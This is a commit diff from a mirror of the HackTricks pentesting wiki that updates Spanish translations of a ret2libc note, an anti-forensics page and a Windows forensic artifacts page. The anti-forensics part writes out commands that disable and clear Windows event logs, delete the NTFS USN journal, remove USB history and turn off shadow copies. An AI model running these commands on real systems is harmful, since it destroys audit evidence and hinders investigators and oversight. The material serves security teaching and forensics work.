mirror of
https://github.com/carlospolop/hacktricks
synced 2025-03-05 15:57:28 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
This commit is contained in:
parent
db0c9a3868
commit
930e8506ab
37 changed files with 732 additions and 734 deletions
binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address
forensics/basic-forensic-methodology
generic-methodologies-and-resources
basic-forensic-methodology
pentesting-network
phishing-methodology
linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation
macos-hardening/macos-security-and-privilege-escalation/macos-security-protections
mobile-pentesting
android-app-pentesting
ios-pentesting
network-services-pentesting
11211-memcache
4786-cisco-smart-install.md69-udp-tftp.mdpentesting-rpcbind.mdpentesting-sap.mdpentesting-web
pentesting-web
cors-bypass.mddependency-confusion.mdoauth-to-account-takeover.mdparameter-pollution.mdproxy-waf-protections-bypass.mdxxe-xee-xml-external-entity.md
todo
windows-hardening
active-directory-methodology
abusing-ad-mssql.md
ad-certificates
kerberos-double-hop-problem.mdlaps.mdover-pass-the-hash-pass-the-key.mdresource-based-constrained-delegation.mdbasic-powershell-for-pentesters
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -230,7 +230,7 @@ Intenta **restar 64 bytes a la dirección de "/bin/sh"**:
|
|||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
|
|
@ -1,18 +1,18 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -32,21 +32,21 @@ Esta herramienta **modifica** la información de marcas de tiempo dentro de **`$
|
|||
|
||||
## Usnjrnl
|
||||
|
||||
El **Diario USN** (Diario de Número de Secuencia de Actualización) es una característica del NTFS (sistema de archivos de Windows NT) que realiza un seguimiento de los cambios de volumen. La herramienta [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) permite examinar estos cambios.
|
||||
El **Diario USN** (Update Sequence Number Journal) es una característica del NTFS (sistema de archivos de Windows NT) que realiza un seguimiento de los cambios de volumen. La herramienta [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) permite examinar estos cambios.
|
||||
|
||||
.png>)
|
||||
|
||||
La imagen anterior es la **salida** mostrada por la **herramienta** donde se puede observar que se realizaron algunos **cambios al archivo**.
|
||||
La imagen anterior es la **salida** mostrada por la **herramienta** donde se puede observar que se realizaron algunos **cambios en el archivo**.
|
||||
|
||||
## $LogFile
|
||||
|
||||
**Todos los cambios de metadatos en un sistema de archivos se registran** en un proceso conocido como [registro anticipado](https://en.wikipedia.org/wiki/Write-ahead_logging). Los metadatos registrados se mantienen en un archivo llamado `**$LogFile**`, ubicado en el directorio raíz de un sistema de archivos NTFS. Herramientas como [LogFileParser](https://github.com/jschicht/LogFileParser) se pueden utilizar para analizar este archivo e identificar cambios.
|
||||
**Todos los cambios de metadatos en un sistema de archivos se registran** en un proceso conocido como [registro de escritura anticipada](https://en.wikipedia.org/wiki/Write-ahead_logging). Los metadatos registrados se mantienen en un archivo llamado `**$LogFile**`, ubicado en el directorio raíz de un sistema de archivos NTFS. Herramientas como [LogFileParser](https://github.com/jschicht/LogFileParser) se pueden utilizar para analizar este archivo e identificar cambios.
|
||||
|
||||
.png>)
|
||||
|
||||
Nuevamente, en la salida de la herramienta es posible ver que se realizaron **algunos cambios**.
|
||||
|
||||
Usando la misma herramienta es posible identificar a **qué hora se modificaron las marcas de tiempo**:
|
||||
Utilizando la misma herramienta es posible identificar a **qué hora se modificaron las marcas de tiempo**:
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -57,7 +57,7 @@ Usando la misma herramienta es posible identificar a **qué hora se modificaron
|
|||
|
||||
## Comparación de `$STANDARD_INFORMATION` y `$FILE_NAME`
|
||||
|
||||
Otra forma de identificar archivos modificados sospechosos sería comparar la hora en ambos atributos en busca de **inconsistencias**.
|
||||
Otra forma de identificar archivos modificados sospechosos sería comparar la hora en ambos atributos en busca de **diferencias**.
|
||||
|
||||
## Nanosegundos
|
||||
|
||||
|
@ -71,11 +71,11 @@ Esta herramienta puede modificar ambos atributos `$STARNDAR_INFORMATION` y `$FIL
|
|||
|
||||
NTFS utiliza un clúster y el tamaño mínimo de información. Esto significa que si un archivo ocupa un clúster y medio, el **medio restante nunca se utilizará** hasta que se elimine el archivo. Entonces, es posible **ocultar datos en este espacio vacío**.
|
||||
|
||||
Existen herramientas como slacker que permiten ocultar datos en este espacio "oculto". Sin embargo, un análisis del `$logfile` y `$usnjrnl` puede mostrar que se agregaron datos:
|
||||
Existen herramientas como slacker que permiten ocultar datos en este espacio "oculto". Sin embargo, un análisis del `$logfile` y `$usnjrnl` puede mostrar que se agregaron algunos datos:
|
||||
|
||||
.png>)
|
||||
|
||||
Entonces, es posible recuperar el espacio vacío utilizando herramientas como FTK Imager. Ten en cuenta que este tipo de herramienta puede guardar el contenido de forma obfuscada o incluso encriptada.
|
||||
Entonces, es posible recuperar el espacio vacío utilizando herramientas como FTK Imager. Ten en cuenta que este tipo de herramienta puede guardar el contenido de forma obstruida o incluso encriptada.
|
||||
|
||||
# UsbKill
|
||||
|
||||
|
@ -123,7 +123,7 @@ Cada vez que se abre una carpeta desde un volumen NTFS en un servidor Windows NT
|
|||
4. Cerrar el Editor del Registro y reiniciar el servidor.
|
||||
## Eliminar Historial de USB
|
||||
|
||||
Todas las **Entradas de Dispositivos USB** se almacenan en el Registro de Windows bajo la clave del registro **USBSTOR** que contiene subclaves que se crean cada vez que conectas un dispositivo USB a tu PC o portátil. Puedes encontrar esta clave aquí `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. Al **eliminar esto** se borrará el historial de USB.\
|
||||
Todas las **Entradas de Dispositivos USB** se almacenan en el Registro de Windows bajo la clave del registro **USBSTOR** que contiene subclaves que se crean cada vez que conectas un Dispositivo USB a tu PC o Laptop. Puedes encontrar esta clave aquí `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. Al **eliminar esto** se borrará el historial de USB.\
|
||||
También puedes utilizar la herramienta [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) para asegurarte de haberlos eliminado (y para eliminarlos).
|
||||
|
||||
Otro archivo que guarda información sobre los USBs es el archivo `setupapi.dev.log` dentro de `C:\Windows\INF`. Este también debería ser eliminado.
|
||||
|
@ -137,7 +137,7 @@ También puedes eliminarlas a través de la GUI siguiendo los pasos propuestos e
|
|||
|
||||
Para deshabilitar las copias de sombra [pasos desde aquí](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
|
||||
1. Abre el programa de Servicios escribiendo "services" en la caja de búsqueda de texto después de hacer clic en el botón de inicio de Windows.
|
||||
1. Abre el programa Servicios escribiendo "servicios" en la caja de búsqueda de texto después de hacer clic en el botón de inicio de Windows.
|
||||
2. En la lista, encuentra "Copia de Sombra de Volumen", selecciónalo y luego accede a Propiedades haciendo clic derecho.
|
||||
3. Elige Deshabilitado en el menú desplegable "Tipo de inicio" y luego confirma el cambio haciendo clic en Aplicar y Aceptar.
|
||||
|
||||
|
@ -157,21 +157,21 @@ También es posible modificar la configuración de qué archivos van a ser copia
|
|||
## Deshabilitar registros de eventos de Windows
|
||||
|
||||
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||
* Dentro de la sección de servicios, deshabilita el servicio "Registro de eventos de Windows"
|
||||
* Dentro de la sección de servicios deshabilita el servicio "Registro de eventos de Windows"
|
||||
* `WEvtUtil.exec clear-log` o `WEvtUtil.exe cl`
|
||||
|
||||
## Deshabilitar $UsnJrnl
|
||||
|
||||
* `fsutil usn deletejournal /d c:`
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking de AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
|
|
@ -8,15 +8,15 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -36,7 +36,7 @@ La base de datos reside en la ruta `\Users\<nombredeusuario>\AppData\Local\Conne
|
|||
|
||||
### ADS (Flujos de Datos Alternativos)
|
||||
|
||||
Los archivos descargados pueden contener la **Zona de Identificación de ADS** que indica **cómo** fue **descargado** desde la intranet, internet, etc. Algunos software (como navegadores) suelen incluir **más** **información** como la **URL** desde donde se descargó el archivo.
|
||||
Los archivos descargados pueden contener la **Zona de Identificación de ADS** que indica **cómo** fue **descargado** de la intranet, internet, etc. Algunos software (como navegadores) suelen incluir **más** **información** como la **URL** desde donde se descargó el archivo.
|
||||
|
||||
## **Copias de Seguridad de Archivos**
|
||||
|
||||
|
@ -45,12 +45,12 @@ Los archivos descargados pueden contener la **Zona de Identificación de ADS** q
|
|||
En Vista/Win7/Win8/Win10 la **Papelera de Reciclaje** se puede encontrar en la carpeta **`$Recycle.bin`** en la raíz de la unidad (`C:\$Recycle.bin`).\
|
||||
Cuando se elimina un archivo en esta carpeta se crean 2 archivos específicos:
|
||||
|
||||
* `$I{id}`: Información del archivo (fecha en que fue eliminado)
|
||||
* `$I{id}`: Información del archivo (fecha en que fue eliminado}
|
||||
* `$R{id}`: Contenido del archivo
|
||||
|
||||
.png>)
|
||||
|
||||
Teniendo estos archivos, puedes utilizar la herramienta [**Rifiuti**](https://github.com/abelcheung/rifiuti2) para obtener la dirección original de los archivos eliminados y la fecha en que fueron eliminados (utiliza `rifiuti-vista.exe` para Vista – Win10).
|
||||
Teniendo estos archivos puedes usar la herramienta [**Rifiuti**](https://github.com/abelcheung/rifiuti2) para obtener la dirección original de los archivos eliminados y la fecha en que fueron eliminados (usa `rifiuti-vista.exe` para Vista – Win10).
|
||||
```
|
||||
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
|
||||
```
|
||||
|
@ -64,7 +64,7 @@ Estas copias de seguridad suelen estar ubicadas en `\System Volume Information`
|
|||
|
||||
.png>)
|
||||
|
||||
Montando la imagen forense con **ArsenalImageMounter**, la herramienta [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) se puede utilizar para inspeccionar una copia de sombra e incluso **extraer los archivos** de las copias de seguridad de la copia de sombra.
|
||||
Al montar la imagen forense con **ArsenalImageMounter**, la herramienta [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) se puede utilizar para inspeccionar una copia de sombra e incluso **extraer los archivos** de las copias de seguridad de la copia de sombra.
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -78,7 +78,7 @@ El registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` también
|
|||
|
||||
Puede encontrar los archivos de autoguardado de Office en: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
|
||||
## Elementos de shell
|
||||
## Elementos de Shell
|
||||
|
||||
Un elemento de shell es un elemento que contiene información sobre cómo acceder a otro archivo.
|
||||
|
||||
|
@ -93,7 +93,7 @@ Cuando se crea una carpeta, también se crea un enlace a la carpeta, a la carpet
|
|||
|
||||
Estos archivos de enlace creados automáticamente **contienen información sobre el origen** como si es un **archivo** **o** una **carpeta**, **tiempos MAC** de ese archivo, **información de volumen** de dónde se encuentra almacenado el archivo y **carpeta del archivo de destino**. Esta información puede ser útil para recuperar esos archivos en caso de que sean eliminados.
|
||||
|
||||
Además, la **fecha de creación del archivo de enlace** es la primera **vez** que se **usó** el archivo original y la **fecha** **modificada** del archivo de enlace es la **última** **vez** que se usó el archivo de origen.
|
||||
Además, la **fecha de creación del enlace** es la primera **vez** que se **usó** el archivo original y la **fecha** **modificada** del enlace es la **última** **vez** que se usó el archivo de origen.
|
||||
|
||||
Para inspeccionar estos archivos, puede utilizar [**LinkParser**](http://4discovery.com/our-tools/).
|
||||
|
||||
|
@ -120,9 +120,9 @@ En este caso, la información se guardará dentro de un archivo CSV.
|
|||
|
||||
Estas son los archivos recientes indicados por aplicación. Es la lista de **archivos recientes utilizados por una aplicación** a la que se puede acceder en cada aplicación. Pueden ser creados **automáticamente o personalizados**.
|
||||
|
||||
Los **jumplists** creados automáticamente se almacenan en `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Los jumplists se nombran siguiendo el formato `{id}.autmaticDestinations-ms` donde el ID inicial es el ID de la aplicación.
|
||||
Los **jumplists** creados automáticamente se almacenan en `C:\Users\{nombre de usuario}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Los jumplists se nombran siguiendo el formato `{id}.autmaticDestinations-ms` donde el ID inicial es el ID de la aplicación.
|
||||
|
||||
Los jumplists personalizados se almacenan en `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` y son creados por la aplicación generalmente porque algo **importante** ha sucedido con el archivo (quizás marcado como favorito).
|
||||
Los jumplists personalizados se almacenan en `C:\Users\{nombre de usuario}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` y son creados por la aplicación generalmente porque algo **importante** ha sucedido con el archivo (quizás marcado como favorito).
|
||||
|
||||
El **tiempo de creación** de cualquier jumplist indica **la primera vez que se accedió al archivo** y el **tiempo modificado la última vez**.
|
||||
|
||||
|
@ -138,7 +138,7 @@ Puedes inspeccionar los jumplists usando [**JumplistExplorer**](https://ericzimm
|
|||
|
||||
## Uso de USB en Windows
|
||||
|
||||
Es posible identificar que se usó un dispositivo USB gracias a la creación de:
|
||||
Es posible identificar que se utilizó un dispositivo USB gracias a la creación de:
|
||||
|
||||
* Carpeta Reciente de Windows
|
||||
* Carpeta Reciente de Microsoft Office
|
||||
|
@ -156,9 +156,9 @@ Los archivos en la carpeta WPDNSE son una copia de los originales, por lo que no
|
|||
|
||||
### setupapi
|
||||
|
||||
Revisa el archivo `C:\Windows\inf\setupapi.dev.log` para obtener las marcas de tiempo sobre cuándo se produjo la conexión USB (busca `Section start`).
|
||||
Consulta el archivo `C:\Windows\inf\setupapi.dev.log` para obtener las marcas de tiempo sobre cuándo se produjo la conexión USB (busca `Section start`).
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||
|
||||
### USB Detective
|
||||
|
||||
|
@ -168,7 +168,7 @@ Revisa el archivo `C:\Windows\inf\setupapi.dev.log` para obtener las marcas de t
|
|||
|
||||
### Limpieza de Plug and Play
|
||||
|
||||
La tarea programada conocida como 'Limpieza de Plug and Play' está diseñada principalmente para la eliminación de versiones de controladores obsoletas. Contrariamente a su propósito especificado de retener la última versión del paquete de controladores, fuentes en línea sugieren que también se dirige a controladores que han estado inactivos durante 30 días. En consecuencia, los controladores de dispositivos extraíbles no conectados en los últimos 30 días pueden estar sujetos a eliminación.
|
||||
La tarea programada conocida como 'Limpieza de Plug and Play' está diseñada principalmente para la eliminación de versiones de controladores obsoletas. Contrariamente a su propósito especificado de retener la última versión del paquete de controladores, fuentes en línea sugieren que también se dirige a los controladores que han estado inactivos durante 30 días. En consecuencia, los controladores de dispositivos extraíbles no conectados en los últimos 30 días pueden estar sujetos a eliminación.
|
||||
|
||||
La tarea se encuentra en la siguiente ruta:
|
||||
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||
|
@ -185,7 +185,7 @@ Se proporciona una captura de pantalla que muestra el contenido de la tarea:
|
|||
|
||||
Esta configuración garantiza el mantenimiento regular y la limpieza de controladores, con disposiciones para volver a intentar la tarea en caso de fallas consecutivas.
|
||||
|
||||
**Para más información, consulta:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
**Para obtener más información, consulta:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
|
||||
## Correos electrónicos
|
||||
|
||||
|
@ -200,9 +200,9 @@ Además, dentro de los encabezados `References` e `In-Reply-To` puedes encontrar
|
|||
|
||||
### Aplicación Correo de Windows
|
||||
|
||||
Esta aplicación guarda correos electrónicos en HTML o texto. Puedes encontrar los correos electrónicos dentro de subcarpetas dentro de `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Los correos electrónicos se guardan con la extensión `.dat`.
|
||||
Esta aplicación guarda correos electrónicos en HTML o texto. Puedes encontrar los correos electrónicos dentro de subcarpetas dentro de `\Users\<nombre de usuario>\AppData\Local\Comms\Unistore\data\3\`. Los correos electrónicos se guardan con la extensión `.dat`.
|
||||
|
||||
Los **metadatos** de los correos electrónicos y los **contactos** se pueden encontrar dentro de la base de datos **EDB**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
Los **metadatos** de los correos electrónicos y los **contactos** se pueden encontrar dentro de la base de datos **EDB**: `\Users\<nombre de usuario>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
|
||||
**Cambia la extensión** del archivo de `.vol` a `.edb` y puedes usar la herramienta [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) para abrirlo. Dentro de la tabla `Message` puedes ver los correos electrónicos.
|
||||
|
||||
|
@ -222,12 +222,12 @@ En el cliente Microsoft Outlook, todos los mensajes enviados/recibidos, datos de
|
|||
|
||||
La ruta del registro `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indica el archivo que se está utilizando.
|
||||
|
||||
Puedes abrir el archivo PST usando la herramienta [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
|
||||
Puedes abrir el archivo PST utilizando la herramienta [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
|
||||
|
||||
.png>)
|
||||
### Archivos OST de Microsoft Outlook
|
||||
|
||||
Un archivo **OST** es generado por Microsoft Outlook cuando está configurado con un servidor **IMAP** o de **Exchange**, almacenando información similar a un archivo PST. Este archivo se sincroniza con el servidor, reteniendo datos de **los últimos 12 meses** hasta un **tamaño máximo de 50GB**, y se encuentra en el mismo directorio que el archivo PST. Para ver un archivo OST, se puede utilizar el [**visor de OST Kernel**](https://www.nucleustechnologies.com/ost-viewer.html).
|
||||
Un archivo **OST** es generado por Microsoft Outlook cuando está configurado con un servidor **IMAP** o de **Exchange**, almacenando información similar a un archivo PST. Este archivo se sincroniza con el servidor, reteniendo datos durante **los últimos 12 meses** hasta un **tamaño máximo de 50GB**, y se encuentra en el mismo directorio que el archivo PST. Para ver un archivo OST, se puede utilizar el [**visor de OST Kernel**](https://www.nucleustechnologies.com/ost-viewer.html).
|
||||
|
||||
### Recuperación de Adjuntos
|
||||
|
||||
|
@ -243,30 +243,30 @@ Los adjuntos perdidos podrían ser recuperables desde:
|
|||
### Miniaturas de Imágenes
|
||||
|
||||
- **Windows XP y 8-8.1**: Acceder a una carpeta con miniaturas genera un archivo `thumbs.db` que almacena vistas previas de imágenes, incluso después de ser eliminadas.
|
||||
- **Windows 7/10**: `thumbs.db` se crea al acceder a través de una red mediante una ruta UNC.
|
||||
- **Windows Vista y versiones posteriores**: Las vistas previas de miniaturas se centralizan en `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` con archivos nombrados **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) y [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) son herramientas para ver estos archivos.
|
||||
- **Windows 7/10**: `thumbs.db` se crea al acceder a través de una ruta UNC en red.
|
||||
- **Windows Vista y versiones más recientes**: Las vistas previas de miniaturas se centralizan en `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` con archivos nombrados **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) y [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) son herramientas para ver estos archivos.
|
||||
|
||||
### Información del Registro de Windows
|
||||
|
||||
El Registro de Windows, que almacena datos extensos de actividad del sistema y del usuario, se encuentra en archivos en:
|
||||
|
||||
- `%windir%\System32\Config` para varias subclaves de `HKEY_LOCAL_MACHINE`.
|
||||
- `%UserProfile%{Usuario}\NTUSER.DAT` para `HKEY_CURRENT_USER`.
|
||||
- Windows Vista y versiones posteriores hacen copias de seguridad de los archivos del registro de `HKEY_LOCAL_MACHINE` en `%Windir%\System32\Config\RegBack\`.
|
||||
- Además, la información de ejecución de programas se almacena en `%UserProfile%\{Usuario}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` desde Windows Vista y Windows 2008 Server en adelante.
|
||||
- `%UserProfile%{User}\NTUSER.DAT` para `HKEY_CURRENT_USER`.
|
||||
- Windows Vista y versiones posteriores hacen copias de seguridad de los archivos de registro de `HKEY_LOCAL_MACHINE` en `%Windir%\System32\Config\RegBack\`.
|
||||
- Además, la información de ejecución de programas se almacena en `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` desde Windows Vista y Windows 2008 Server en adelante.
|
||||
|
||||
### Herramientas
|
||||
|
||||
Algunas herramientas son útiles para analizar los archivos del registro:
|
||||
Algunas herramientas son útiles para analizar los archivos de registro:
|
||||
|
||||
* **Editor de Registro**: Viene instalado en Windows. Es una interfaz gráfica para navegar por el registro de Windows de la sesión actual.
|
||||
* [**Explorador de Registro**](https://ericzimmerman.github.io/#!index.md): Permite cargar el archivo del registro y navegar a través de ellos con una interfaz gráfica. También contiene Marcadores que resaltan claves con información interesante.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Otra vez, tiene una interfaz gráfica que permite navegar por el registro cargado y también contiene complementos que resaltan información interesante dentro del registro cargado.
|
||||
* [**Explorador de Registro**](https://ericzimmerman.github.io/#!index.md): Permite cargar el archivo de registro y navegar a través de ellos con una interfaz gráfica. También contiene Marcadores que resaltan claves con información interesante.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Nuevamente, tiene una interfaz gráfica que permite navegar por el registro cargado y también contiene complementos que resaltan información interesante dentro del registro cargado.
|
||||
* [**Recuperación del Registro de Windows**](https://www.mitec.cz/wrr.html): Otra aplicación con interfaz gráfica capaz de extraer la información importante del registro cargado.
|
||||
|
||||
